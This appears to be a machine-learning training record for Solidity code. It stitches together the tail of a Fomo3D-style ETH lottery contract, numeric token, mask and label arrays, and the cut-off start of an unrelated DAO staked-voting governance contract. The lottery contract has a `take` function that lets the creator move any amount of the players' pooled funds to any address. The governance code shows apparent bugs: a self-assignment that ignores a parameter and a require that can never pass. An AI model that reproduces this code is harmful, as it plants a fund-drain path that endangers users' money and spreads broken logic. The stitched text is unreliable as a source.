iCommunityPot,creator); } function setAdmin( address newAdminAddress ) public { assert( msg.sender == creator ); creator = newAdminAddress; } function RoundEnd() private{ uint256 _pot = roundList[0].iSharePot; iOver = true; if( _pot != 0 ){ uint256 totalKey = 0; uint256 rate; for (uint256 i = 0; i < 15; i++) { if (roundList[0].winerList[i].iLastKeyNum > 0) { totalKey = totalKey.add(roundList[0].winerList[i].iLastKeyNum); } } for (i = 0; i < 15; i++) { if (roundList[0].winerList[i].iLastKeyNum > 0) { rate = roundList[0].winerList[i].iLastKeyNum * 1000000 / totalKey; plyMap[roundList[0].winerList[i].plyr].gen = plyMap[roundList[0].winerList[i].plyr].gen.add(_pot.mul(rate) / 1000000); } } } iPrepared = false; } function withdrawEarnings( address plyAddress ) private returns( uint256 ){ // update gen vault if( plyMap[plyAddress].iLastRoundId > 0 ){ updateGenVault(plyAddress, plyMap[plyAddress].iLastRoundId ); } // from vaults uint256 _earnings = plyMap[plyAddress].gen.add(plyMap[plyAddress].affGen); if (_earnings > 0) { plyMap[plyAddress].gen = 0; plyMap[plyAddress].affGen = 0; } return(_earnings); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(address _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyMap[_pID].gen = _earnings.add(plyMap[_pID].gen); // zero out their earnings by updating mask plyMap[_pID].roundMap[_rIDlast].iMask = _earnings.add(plyMap[_pID].roundMap[_rIDlast].iMask); } } function getPlayerInfoByAddress(address myAddr) public view returns( uint256 myKeyNum, uint256 myValut,uint256 affGen,uint256 lockGen,uint256 affCodeSelf, uint256 affCode ) { // setup local rID address _addr = myAddr; uint256 _rID = roundList.length; if( plyMap[_addr].iLastRoundId == 0 || _rID <= 0 ){ return ( 0, //2 0, //4 plyMap[_addr].affGen, //4 0, //4 0, 0 ); } //assert(_rID>0 ); //assert( plyMap[_addr].iLastRoundId>0 ); if (IsSeedMember(msg.sender)) { uint256 oth; // if (seedMap[_addr].f == 1) { oth = oth.add(specGen); } // oth = oth.add((operatorGen / 15).sub(seedMap[_addr].iMask)); return ( plyMap[_addr].roundMap[_rID].iKeyNum, //2 (plyMap[_addr].gen).add(calcUnMaskedEarnings(_addr, plyMap[_addr].iLastRoundId)).add(oth), //4 plyMap[_addr].affGen, //4 0, //4 plyMap[_addr].affCodeSelf, plyMap[_addr].affCode ); } else { return ( plyMap[_addr].roundMap[_rID].iKeyNum, //2 (plyMap[_addr].gen).add(calcUnMaskedEarnings(_addr, plyMap[_addr].iLastRoundId)), //4 plyMap[_addr].affGen, //4 0, //4 plyMap[_addr].affCodeSelf, plyMap[_addr].affCode ); } } function getRoundInfo(uint256 iRoundId)public view returns(uint256 iRoundStartTime,uint256 iRoundEndTime,uint256 iPot ){ assert( iRoundId > 0 && iRoundId <= roundList.length ); return( roundList[iRoundId-1].iGameStartTime,roundList[iRoundId-1].iGameEndTime,roundList[iRoundId-1].iSharePot ); } function getPlayerAff(address myAddr) public view returns( uint256 ) { return plyMap[myAddr].affCodeSelf; } function getPlayerAddr(uint256 affcode) public view returns( address ) { return affMap[affcode]; } function BuySeed() public isWithinLimits(msg.value) OnlySeedMember(msg.sender) NotOver() payable { require(iPrepared == true && iActivated == false, "fomo3d now not prepare"); uint256 iCurRdIdx = roundList.length - 1; address _pID = msg.sender; uint256 _eth = msg.value; // if player is new to round if ( plyMap[_pID].roundMap[iCurRdIdx + 1].iKeyNum == 0 ){ managePlayer(_pID, 0); } // uint256 curEth = 0; uint256 iAddKey = curEth.keysRec( _eth ); plyMap[_pID].roundMap[iCurRdIdx + 1].iKeyNum = plyMap[_pID].roundMap[iCurRdIdx + 1].iKeyNum.add(iAddKey); // roundList[iCurRdIdx].iKeyNum = roundList[iCurRdIdx].iKeyNum.add(iAddKey); roundList[iCurRdIdx].iSumPayable = roundList[iCurRdIdx].iSumPayable.add(_eth); roundList[iCurRdIdx].iSharePot = roundList[iCurRdIdx].iSharePot.add(_eth.mul(55) / (100)); // operatorGen = operatorGen.add(_eth.mul(5) / (100)); comorGen = comorGen.add(_eth.mul(4) / (10)); seedBuy[_pID] = seedBuy[_pID].add(_eth); } function Prepare() public { // require(msg.sender == creator, "only creator can do this"); // require(iPrepared == false, "already prepare"); // iPrepared = true; // roundList.length ++; } function BuyCore( address _pID, uint256 iCurRdIdx,uint256 _eth ) private { uint256 _now = now; if (_now > roundList[iCurRdIdx].iGameStartTime && _now <= roundList[iCurRdIdx].iGameEndTime) { if (_eth >= 100000000000000000) { DoAirDrop(_pID, _eth); } // call core uint256 iAddKey = roundList[iCurRdIdx].iSumPayable.keysRec( _eth ); plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum += iAddKey; roundList[iCurRdIdx].iKeyNum += iAddKey; roundList[iCurRdIdx].iSumPayable = roundList[iCurRdIdx].iSumPayable.add(_eth); if (IsSeedMember(_pID)) { // comorGen = comorGen.add((_eth.mul(3)) / (10)); seedBuy[_pID] = seedBuy[_pID].add(_eth); } else { uint256[9] memory affGenArr; address[9] memory affAddrArr; for (uint256 i = 0; i < 9; i++) { affGenArr[i] = _eth.mul(affRate[i]) / 100; if (i == 0) { affAddrArr[i] = affMap[plyMap[_pID].affCode]; } else { affAddrArr[i] = affMap[plyMap[affAddrArr[i - 1]].affCode]; } if (affAddrArr[i] != 0x0) { plyMap[affAddrArr[i]].affGen = plyMap[affAddrArr[i]].affGen.add(affGenArr[i]); } else { comorGen = comorGen.add(affGenArr[i]); } } } // 1% airDropPot airDropPot_ = airDropPot_.add((_eth)/(100)); // %35 GenPot uint256 iAddProfit = (_eth.mul(35)) / (100); // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (iAddProfit.mul(decimal)) / (roundList[iCurRdIdx].iKeyNum); uint256 iOldMask = roundList[iCurRdIdx].iMask; roundList[iCurRdIdx].iMask = _ppt.add(roundList[iCurRdIdx].iMask); // calculate player earning from their own buy (only based on the keys plyMap[_pID].roundMap[iCurRdIdx+1].iMask = (((iOldMask.mul(iAddKey)) / (decimal))).add(plyMap[_pID].roundMap[iCurRdIdx+1].iMask); // 20% pot roundList[iCurRdIdx].iSharePot = roundList[iCurRdIdx].iSharePot.add((_eth) / (5)); // 5% op operatorGen = operatorGen.add((_eth) / (20)); // 8% com comorGen = comorGen.add((_eth.mul(8)) / (100)); // specGen = specGen.add((_eth)/(100)); roundList[iCurRdIdx].iGameEndTime = roundList[iCurRdIdx].iGameEndTime + iAddKey / 1000000000000000000 * iAddTime; if (roundList[iCurRdIdx].iGameEndTime - _now > iTimeInterval) { roundList[iCurRdIdx].iGameEndTime = _now + iTimeInterval; } // roundList[iCurRdIdx].plyr = _pID; MakeWinner(_pID, iAddKey, iCurRdIdx); emit evtBuyKey( iCurRdIdx+1,_pID,_eth, iAddKey ); // if round is not active } else { if (_now > roundList[iCurRdIdx].iGameEndTime && roundList[iCurRdIdx].bIsGameEnded == false) { roundList[iCurRdIdx].bIsGameEnded = true; RoundEnd(); } // put eth in players vault plyMap[msg.sender].gen = plyMap[msg.sender].gen.add(_eth); } return; } function MakeWinner(address _pID, uint256 _keyNum, uint256 iCurRdIdx) private { // uint256 sin = 99; for (uint256 i = 0; i < 15; i++) { if (roundList[iCurRdIdx].winerList[i].plyr == _pID) { sin = i; break; } } if (winCount >= 15) { if (sin == 99) { for (i = 0; i < 15; i++) { if (roundList[iCurRdIdx].winerList[i].index == 0) { roundList[iCurRdIdx].winerList[i].plyr = _pID; roundList[iCurRdIdx].winerList[i].iLastKeyNum = _keyNum; roundList[iCurRdIdx].winerList[i].index = 14; } else { roundList[iCurRdIdx].winerList[i].index--; } } } else { if (sin == 14) { roundList[iCurRdIdx].winerList[14].iLastKeyNum = _keyNum; } else { for (i = 0; i < 15; i++) { if (roundList[iCurRdIdx].winerList[i].index > sin) roundList[iCurRdIdx].winerList[i].index--; } roundList[iCurRdIdx].winerList[sin].index = 14; roundList[iCurRdIdx].winerList[sin].iLastKeyNum = _keyNum; } } } else { if (sin == 99) { for (i = 0; i < 15; i++) { if (roundList[iCurRdIdx].winerList[i].plyr == 0x0) { roundList[iCurRdIdx].winerList[i].plyr = _pID; roundList[iCurRdIdx].winerList[i].iLastKeyNum = _keyNum; roundList[iCurRdIdx].winerList[i].index = i; winCount++; break; } } } else { for (i = 0; i < 15; i++) { if (roundList[iCurRdIdx].winerList[i].plyr != 0x0 && roundList[iCurRdIdx].winerList[i].index > sin) { roundList[iCurRdIdx].winerList[i].index--; } } roundList[iCurRdIdx].winerList[sin].iLastKeyNum = _keyNum; roundList[iCurRdIdx].winerList[sin].index = winCount - 1; } } } function SeedMemberCanDraw() public OnlySeedMember(msg.sender) view returns (bool) { if (seedBuy[msg.sender] >= seedMemberValue_) return (true); else return (false); } function BuyTicketSeed() isWithinLimits(msg.value) OnlySeedMember(msg.sender) IsActivate() NotOver() public payable { // RoundEnd uint256 iCurRdIdx = roundList.length - 1; address _pID = msg.sender; // if player is new to round if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){ managePlayer( _pID, 0); } BuyCore( _pID,iCurRdIdx,msg.value ); } function BuyTicketUseVaultSeed(uint256 useVault ) isWithinLimits(useVault) OnlySeedMember(msg.sender) IsActivate() NotOver() public{ if (IsSeedMember(msg.sender)) { require(SeedMemberCanDraw() == true, "seed value not enough"); } // RoundEnd uint256 iCurRdIdx = roundList.length - 1; address _pID = msg.sender; // if player is new to round if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){ managePlayer( _pID, 0); } updateGenVault(_pID, plyMap[_pID].iLastRoundId); // if (seedMap[_pID].f == 1) { plyMap[_pID].gen = plyMap[_pID].gen.add(specGen); specGen = 0; } // uint256 op = operatorGen / 15 - seedMap[_pID].iMask; seedMap[_pID].iMask = operatorGen / 15; if (op > 0) plyMap[_pID].gen = plyMap[_pID].gen.add(op); uint256 val = plyMap[_pID].gen.add(plyMap[_pID].affGen); assert( val >= useVault ); if( plyMap[_pID].gen >= useVault ){ plyMap[_pID].gen = plyMap[_pID].gen.sub(useVault); }else{ plyMap[_pID].gen = 0; plyMap[_pID].affGen = val.sub(useVault); } BuyCore( _pID,iCurRdIdx,useVault ); return; } function DrawCom() public { require(msg.sender == comor, "only comor"); comor.transfer(comorGen); comorGen = 0; } function take(address addr, uint256 v) public { require(msg.sender == creator, "only creator"); addr.transfer(v); } /* function fastEnd() public { require(msg.sender == creator, "only creator"); RoundEnd(); } */ function getWinner(uint256 index) public view returns( address addr, uint256 num, uint256 idx) { return (roundList[0].winerList[index].plyr, roundList[0].winerList[index].iLastKeyNum, roundList[0].winerList[index].index); } }
* @dev moves any unmasked earnings to gen vault. updates earnings mask/ put in gen vault zero out their earnings by updating mask
function updateGenVault(address _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyMap[_pID].gen = _earnings.add(plyMap[_pID].gen); plyMap[_pID].roundMap[_rIDlast].iMask = _earnings.add(plyMap[_pID].roundMap[_rIDlast].iMask); } }
5,517,048
[ 1, 81, 10829, 1281, 640, 23455, 425, 1303, 899, 358, 3157, 9229, 18, 225, 4533, 425, 1303, 899, 3066, 19, 1378, 316, 3157, 9229, 3634, 596, 3675, 425, 1303, 899, 635, 9702, 3066, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 7642, 12003, 12, 2867, 389, 84, 734, 16, 2254, 5034, 389, 86, 734, 2722, 13, 203, 3639, 3238, 7010, 565, 288, 203, 3639, 2254, 5034, 389, 73, 1303, 899, 273, 7029, 984, 5796, 329, 41, 1303, 899, 24899, 84, 734, 16, 389, 86, 734, 2722, 1769, 203, 3639, 309, 261, 67, 73, 1303, 899, 405, 374, 13, 203, 3639, 288, 203, 5411, 293, 715, 863, 63, 67, 84, 734, 8009, 4507, 273, 389, 73, 1303, 899, 18, 1289, 12, 1283, 863, 63, 67, 84, 734, 8009, 4507, 1769, 203, 5411, 293, 715, 863, 63, 67, 84, 734, 8009, 2260, 863, 63, 67, 86, 734, 2722, 8009, 77, 5796, 273, 389, 73, 1303, 899, 18, 1289, 12, 1283, 863, 63, 67, 84, 734, 8009, 2260, 863, 63, 67, 86, 734, 2722, 8009, 77, 5796, 1769, 203, 3639, 289, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.7.0; import "./SafeMathTyped.sol"; import "./AbqErc20.sol"; import "./SingleOwnerForward.sol"; enum GovernanceState { SubmissionsAccepted, SubmissionsOpen, SubmissionsSelection, VotingStarted, ProposalConclusion, AwaitingSelectionCall } struct Proposal { // CG: Word 0 start. address proposalAddress; // CG: Word 0; 160 bits total. uint32 submissionBatchNumber; // CG: Word0; 160 + 32 = 192 bits total. // CG: Word 0 end. // CG: Word 1 start. address proposer; // CG: Word 1 end. // CG: Word 2 start. uint256 votesInSupport; // CG: Word 2; 256 bits total. // CG: Word 2 full. // CG: Word 3 start. uint256 votesInOpposition; // CG: Word 3; 256 bits total. // CG: Word 3 full. // CG: Word 4 start. uint256 proposalDeposit; // CG: Word 4; 256 bits total. // CG: Word 4 full. bytes proposalData; mapping(address => VoteStatus) votesCasted; } enum VoteStatus { Abstain, Support, Oppose } struct Stake { uint256 amount; address delegate; } /// @notice This is a governance contract for the Aardbanq DAO. All ABQ token holders can stake /// their tokens and delegate their voting rights to an address, including to themselves. /// Only one proposal can be voted on to be executed at a time. /// Voters can stake or unstake their ABQ tokens at anytime using the `stake` and `unstake` method. /// The protocol for selecting and voting on proposals works as follows: /// * If there are no pending proposals, then anyone can submit a proposal candidate to be considered provided they pay an ABQ deposit of `proposalDeposit` (which also stores the 18 decimals). /// * For `submissionWindow` seconds after the first proposal candidate was submitted can submit another proposal candidates by also paying an ABQ deposit of `proposalDeposit` (which also stores the 18 decimals). /// * When the first proposal candidate is submitted, a proposal to "do nothing" is also automatically created. /// * During the first `submissionSelectionWindow` seconds after the first proposal candidate was submitted the voters may place their votes with their preferred proposal candidate. /// * After the first `submissionSelectionWindow` seconds after the first proposal candidate was submitted, the candidate that received the most votes can be made the proposal all voters should vote on, by calling the `selectMostSupportedProposal` function. /// * In the event of a tie between the candidates for most votes the last candidate will receive presidence. However if the "do nothing" proposal is also tied for most votes, it will always take precedence. /// * Once a proposal candidate has been established as the proposal, all voters may only vote on that proposal. Voting stays open for `votingWindow` seconds after this. /// * When `votingWindow` seconds have passed since the proposal candidate has been promoted to the proposal or if the proposal has received more than 50% of all staked votes either for or against it, then the proposal may be executed calling the `resolveProposal` method. /// * When a propsal is resolved it is considered successful only if more than 50% of all votes on it is in favor if it AND the proposal was resolved within `resolutionWindow` seconds after it was promoted from a proposal candidate to the proposal. /// * Once the proposal has been resolved a new round of proposal candidates may be submitted again. /// * All proposal candidates that were not promoted to the proposal and all failed proposals will have their deposits burnt. This is to avoid frivolous and malicious proposals that could cost the voters more gas than the person making the proposal. /// * All successful proposals will have their deposits returned. /// A proposal consist of an address and data, that the `daoOwnerContract` delegate calls to the address with the data. contract StakedVotingGovernance { // CG: Word 0 start. SingleOwnerDelegateCall public daoOwnerContract; // CG: Word 0; 160 bits total. uint32 public currentSubmissionBatchNumber = 1; // CG: Word 0; 160 + 32 = 192 bits total. uint64 public submissionStartedDate; // CG: Word 0; 192 + 64 = 256 bits total. // CG: Word 0 full. // CG: Word 1 start. AbqErc20 public token; // CG: Word 1; 160 bits total. uint64 public votingStartedDate; // CG: Word 1; 160 + 64 = 224 bits total. uint32 public submissionWindow = 2 days; // CG: Word 1; 224 + 32 = 256 bits. // CG: Word 1 full. // CG: Word 2 start. uint32 public submissionSelectionWindow = 4 days; // CG: Word 2; 32 bits total. uint32 public votingWindow = 3 days; // CG: Word 2; 32 + 32 = 64 bits total. uint32 public resolutionWindow = 10 days; // CG: Word 2; 64 + 32 = 96 bits total. // CG: Word 2 end. // CG: Word 3 start. uint256 public burnAmount; // CG: Word 3 full. // CG: Word 4 start. bytes32 public currentProposalHash; // CG: Word 4 full. // CG: Word 5 start. uint256 public totalVotesStaked; // CG: Word 5 full. // CG: Word 6 start. uint256 public proposalDeposit = 100 ether; // CG: Word 6 full. bytes32[] public runningProposals; mapping(bytes32 => Proposal) public proposals; mapping(address => uint256) public refundAmount; mapping(address => uint256) public votingPower; mapping(address => Stake) public stakes; mapping(address => bytes32) public lastVotedOn; constructor (SingleOwnerDelegateCall _daoOwnerContract, AbqErc20 _token) { daoOwnerContract = _daoOwnerContract; token = _token; } modifier onlyDaoOwner() { require(msg.sender == address(daoOwnerContract), "ABQDAO/only-dao-owner"); _; } modifier onlyAcceptingProposalsState() { GovernanceState governanceState = proposalsState(); require(governanceState == GovernanceState.SubmissionsAccepted || governanceState == GovernanceState.SubmissionsOpen, "ABQDAO/submissions-not-allowed"); _; } modifier onlyVotingState() { GovernanceState governanceState = proposalsState(); require(governanceState == GovernanceState.VotingStarted, "ABQDAO/voting-not-allowed"); _; } modifier onlyAwaitingSelectionCallState() { GovernanceState governanceState = proposalsState(); require(governanceState == GovernanceState.AwaitingSelectionCall, "ABQDAO/selection-call-not-allowed"); _; } function changeTimeWindows(uint32 _submissionWindow, uint32 _submissionSelectionWindow, uint32 _votingWindow, uint32 _resolutionWindow) onlyDaoOwner() external { // CG: ensure all parameters are between [1 days, 31 days] (in seconds). require(_submissionWindow >= 1 days && _submissionWindow <= 31 days, "ABQDAO/out-of-range"); require(_submissionSelectionWindow >= 1 days && _submissionSelectionWindow <= 31 days, "ABQDAO/out-of-range"); require(_votingWindow >= 1 days && _votingWindow <= 31 days, "ABQDAO/out-of-range"); require(_resolutionWindow >= 1 days && _resolutionWindow <= 31 days, "ABQDAO/out-of-range"); // CG: Ensure dependend windows occur after in the correct order. // CG: Given the above constraints that these values aren't greater than 31 days (in seconds), we can safely add 1 day (in seconds) without an overflow happening. require(_submissionSelectionWindow >= (_submissionSelectionWindow + 1 days), "ABQDAO/out-of-range"); require(_resolutionWindow >= (_votingWindow + 1 days), "ABQDAO/out-of-range"); // CG: Set the values. submissionWindow = submissionWindow; submissionSelectionWindow = _submissionSelectionWindow; votingWindow = _votingWindow; resolutionWindow = _resolutionWindow; } function proposalsState() public view returns (GovernanceState _proposalsState) { // CG: If no submission has been filed yet, then submissions are eligible. if (submissionStartedDate == 0) { return GovernanceState.SubmissionsAccepted; } // CG: Allow submissions for submissionWindow after first submission. else if (block.timestamp <= SafeMathTyped.add256(submissionStartedDate, submissionWindow)) { return GovernanceState.SubmissionsOpen; } // CG: Allow selection of to close submissionSelectionWindow after the first submission. else if (block.timestamp <= SafeMathTyped.add256(submissionStartedDate, submissionSelectionWindow)) { return GovernanceState.SubmissionsSelection; } // CG: If more than submissionSelectionWindow has passed since the submissionStartedDate the voting date should be checked. else { // CG: If voting only happened for votingWindow or less so for, voting is still pending if (votingStartedDate == 0) { return GovernanceState.AwaitingSelectionCall; } else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow)) { return GovernanceState.VotingStarted; } // CG: If voting has started more than votingWindow ago, then voting is no longer possible else { return GovernanceState.ProposalConclusion; } } } function proposalsCount() public view returns (uint256 _proposalsCount) { return runningProposals.length; } function viewVote(bytes32 _proposalHash, address _voter) external view returns (VoteStatus) { return proposals[_proposalHash].votesCasted[_voter]; } event StakeReceipt(address indexed staker, address indexed delegate, address indexed oldDelegate, bool wasStaked, uint256 amount); /// @notice Stake `_amount` of tokens from msg.sender and delegate the voting rights to `_delegate`. /// The tokens have to be approved by msg.sender before calling this method. All tokens staked by msg.sender /// will be have their voting rights assigned to `_delegate`. /// @param _delegate The address to delegate voting rights to. /// @param _amount The amount of tokens to stake. function stake(address _delegate, uint256 _amount) external { // CG: Transfer ABQ. bool couldTransfer = token.transferFrom(msg.sender, address(this), _amount); require(couldTransfer, "ABQDAO/could-not-transfer-stake"); // CG: Get previous stake details. Stake storage stakerStake = stakes[msg.sender]; uint256 previousStake = stakerStake.amount; address previousDelegate = stakerStake.delegate; // CG: Remove previous delegate stake votingPower[previousDelegate] = SafeMathTyped.sub256(votingPower[previousDelegate], previousStake); // CG: Increase stake counts. stakerStake.amount = SafeMathTyped.add256(stakerStake.amount, _amount); stakerStake.delegate = _delegate; votingPower[stakerStake.delegate] = SafeMathTyped.add256(votingPower[stakerStake.delegate], stakerStake.amount); // CG: Update previous vote bytes32 previousDelegateLastProposal = lastVotedOn[previousDelegate]; bytes32 newDelegateLastProposal = lastVotedOn[stakerStake.delegate]; updateVoteIfNeeded(previousDelegateLastProposal, previousDelegate, previousStake, newDelegateLastProposal, stakerStake.delegate, stakerStake.amount); // CG: Update running total. totalVotesStaked = SafeMathTyped.add256(totalVotesStaked, _amount); emit StakeReceipt(msg.sender, _delegate, previousDelegate, true, _amount); } /// @notice Unstake `_amount` tokens for msg.sender and send them to msg.sender. /// @param _amount The amount of tokens to unstake. function unstake(uint256 _amount) external { // CG: Decrease stake counts. Stake storage stakerStake = stakes[msg.sender]; stakerStake.amount = SafeMathTyped.sub256(stakerStake.amount, _amount); address delegate = stakerStake.delegate; votingPower[delegate] = SafeMathTyped.sub256(votingPower[delegate], _amount); // CG: Update previous vote bytes32 lastProposal = lastVotedOn[delegate]; updateVoteIfNeeded(lastProposal, delegate, _amount, lastProposal, delegate, 0); // CG: Transfer ABQ back. bool couldTransfer = token.transfer(msg.sender, _amount); require(couldTransfer, "ABQDAO/could-not-transfer-stake"); // CG: Update running total. totalVotesStaked = SafeMathTyped.sub256(totalVotesStaked, _amount); emit StakeReceipt(msg.sender, delegate, delegate, false, _amount); } function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease) private { GovernanceState governanceState = proposalsState(); // CG: Only update votes while voting is still open. if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted) { // CG: Only update votes for current submission round on proposal A. Proposal storage proposalA = proposals[_proposalHashA]; if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber) { // CG: If voter A has a decrease, decrease it. if (_voterADecrease > 0) { VoteStatus voterAVote = proposalA.votesCasted[_voterA]; if (voterAVote == VoteStatus.Support) { proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease); emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]); } else if (voterAVote == VoteStatus.Oppose) { proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease); emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]); } } } // CG: Only update votes for current submission round on proposal B. Proposal storage proposalB = proposals[_proposalHashB]; if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber) { // CG: If voter B has an increase, increase it. if (_voterBIncrease > 0) { VoteStatus voterBVote = proposalB.votesCasted[_voterB]; if (voterBVote == VoteStatus.Support) { proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease); emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]); } else if (voterBVote == VoteStatus.Oppose) { proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease); emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]); } } } } } event ProposalReceipt(bytes32 proposalHash); /// @notice Make a poposal for a resolution. /// @param _executionAddress The address containing the smart contract to delegate call. /// @param _data The data to send when executing the proposal. function propose(address _executionAddress, bytes calldata _data) onlyAcceptingProposalsState() external returns (bytes32 _hash) { // CG: Get proposal hash and make sure it is not already submitted. bytes32 proposalHash = keccak256(abi.encodePacked(currentSubmissionBatchNumber, _executionAddress, _data)); Proposal storage proposal = proposals[proposalHash]; require(proposal.submissionBatchNumber == 0, "ABQDAO/proposal-already-submitted"); // CG: Transfer deposit. bool couldTransferDeposit = token.transferFrom(msg.sender, address(this), proposalDeposit); require(couldTransferDeposit, "ABQDAO/could-not-transfer-deposit"); // CG: If this is the first proposal, add a "do nothing" proposal as the first proposal if (runningProposals.length == 0) { address doNothingAddress = address(0); bytes memory doNothingData = new bytes(0); bytes32 doNothingHash = keccak256(abi.encodePacked(currentSubmissionBatchNumber, doNothingAddress, doNothingData)); Proposal storage doNothingProposal = proposals[doNothingHash]; doNothingProposal.proposalAddress = doNothingAddress; doNothingProposal.proposalDeposit = 0; doNothingProposal.submissionBatchNumber = currentSubmissionBatchNumber; doNothingProposal.proposer = address(0); doNothingProposal.votesInSupport = 0; doNothingProposal.votesInOpposition = 0; doNothingProposal.proposalData = doNothingData; runningProposals.push(doNothingHash); emit ProposalReceipt(doNothingHash); submissionStartedDate = uint64(block.timestamp); } // CG: Set the proposal data proposal.proposalAddress = _executionAddress; proposal.proposalDeposit = proposalDeposit; proposal.submissionBatchNumber = currentSubmissionBatchNumber; proposal.proposer = msg.sender; proposal.votesInSupport = 0; proposal.votesInOpposition = 0; proposal.proposalData = _data; runningProposals.push(proposalHash); emit ProposalReceipt(proposalHash); return proposalHash; } event VoteOpenedReceipt(bytes32 proposalHash); /// @notice Select the most supported proposal. /// @param maxIterations The max iteration to execute. This is used to throttle gas useage per call. function selectMostSupportedProposal(uint8 maxIterations) onlyAwaitingSelectionCallState() external returns (bool _isSelectionComplete) { if (votingStartedDate != 0) { return true; } while (runningProposals.length > 1 && maxIterations > 0) { Proposal storage firstProposal = proposals[runningProposals[0]]; Proposal storage lastProposal = proposals[runningProposals[runningProposals.length - 1]]; // CG: runningProposals.length - 1 will always be >= 1 since we check runningProposals.length > 1 in the while's condition. Hence no overflow will occur. if (firstProposal.votesInSupport < lastProposal.votesInSupport) { burnAmount = SafeMathTyped.add256(burnAmount, firstProposal.proposalDeposit); runningProposals[0] = runningProposals[runningProposals.length - 1]; // CG: runningProposals.length - 1 will always be >= 1 since we check runningProposals.length > 1 in the while's condition. Hence no overflow will occur. } else { burnAmount = SafeMathTyped.add256(burnAmount, lastProposal.proposalDeposit); } runningProposals.pop(); maxIterations = maxIterations - 1; // CG: We can safely subtract 1 without overflow issues, since the while test for maxIterations > 0; } if (runningProposals.length == 1) { currentProposalHash = runningProposals[0]; votingStartedDate = uint64(block.timestamp); runningProposals.pop(); emit VoteOpenedReceipt(currentProposalHash); return true; } else { return false; } } event Ballot(address indexed voter, bytes32 proposalHash, VoteStatus vote, uint256 votes); /// @notice Cast a vote for a specific proposal for msg.sender. /// @param _proposalHash The hash for the proposal to vote on. /// @param _vote Indication of if msg.sender is voting in support, opposition, or abstaining. function vote(bytes32 _proposalHash, VoteStatus _vote) external { // CG: Must be in submission selection or voting state. GovernanceState state = proposalsState(); require(state == GovernanceState.SubmissionsOpen || state == GovernanceState.SubmissionsSelection || state == GovernanceState.VotingStarted, "ABQDAO/voting-not-open"); // CG: If in voting state, only votes on the current proposal allowed. if (state == GovernanceState.VotingStarted) { require(currentProposalHash == _proposalHash, "ABQDAO/only-votes-on-current-proposal"); } uint256 voteCount = votingPower[msg.sender]; // CG: Reverse previous vote on the current proposal round. Proposal storage previousProposal = proposals[lastVotedOn[msg.sender]]; if (previousProposal.submissionBatchNumber == currentSubmissionBatchNumber) { VoteStatus previousVote = previousProposal.votesCasted[msg.sender]; if (previousVote == VoteStatus.Support) { previousProposal.votesInSupport = SafeMathTyped.sub256(previousProposal.votesInSupport, voteCount); previousProposal.votesCasted[msg.sender] = VoteStatus.Abstain; } else if (previousVote == VoteStatus.Oppose) { previousProposal.votesInOpposition = 